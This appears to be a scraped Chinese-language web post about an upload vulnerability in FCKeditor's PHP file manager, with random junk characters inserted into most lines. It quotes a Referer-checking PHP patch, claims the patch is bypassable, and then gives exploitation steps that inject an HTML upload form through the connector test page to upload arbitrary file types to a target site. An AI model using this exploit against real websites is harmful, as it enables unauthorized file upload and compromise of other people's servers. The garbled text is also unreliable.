漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php
) j! V0 ?, k- I网上给出的修复方案是- g; f2 |7 h+ n, q+ l, }6 Y
修复方法,删除FCK编辑器用其他的编辑器% N, @( i$ z' U. s+ w% w
或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件% |4 X; q( `& L S1 K2 c6 L% E
在
' y K* f& b, n( }9 D: arequire(‘config.php’);
% C% T' [- e" q5 h8 R: k" srequire(‘util.php’);
* h# j0 s$ u% Q7 K/ D的下面添加以下代码—————————–6 G/ d t$ p# L/ @
//防止外部提交. t# z' C0 |& L0 g; V
function outsidepost()
0 |& s, q2 t# q% K" w5 j5 e M+ d{# X! Y, U$ J' H
$servername=$_SERVER['SERVER_NAME'];
1 q( P# T4 }& N# J! w( H+ T) U* g$sub_from=@$_SERVER['HTTP_REFERER'];
) Z) N+ P4 y" b) N+ r$sub_len=strlen($servername);
7 E) P3 F1 {2 p8 ?1 V# I2 I3 E$checkfrom=substr($sub_from,7,$sub_len);2 s {/ I. S1 m/ S, e
if($checkfrom!=$servername){5 ~! p! \. Q3 Q6 W! N% a6 x
echo(“you don’t outsidepost!”);! a6 D$ }/ n- l3 q: |
exit;: E: {* h& T1 b `0 s
}
& |8 P: c- U3 P3 C- F# V}6 C: c. s8 h$ |8 r" P8 P
outsidepost();
$ u( Y6 }' \( B% S8 P防止外部提交,但是没有防止内部提交,- C, H6 ?8 {0 c! _& W& N6 `
利用方法:
" }3 }; P4 Q; Z: e1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html2 v/ I, y$ M7 c1 i
2,在Current Folder 框输入, d0 a; D2 i7 w' d. U
<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>
7 H! B9 d' Q$ Y9 L+ W3 _, G然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。+ U& C% }+ F3 `8 _) q
PS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。 |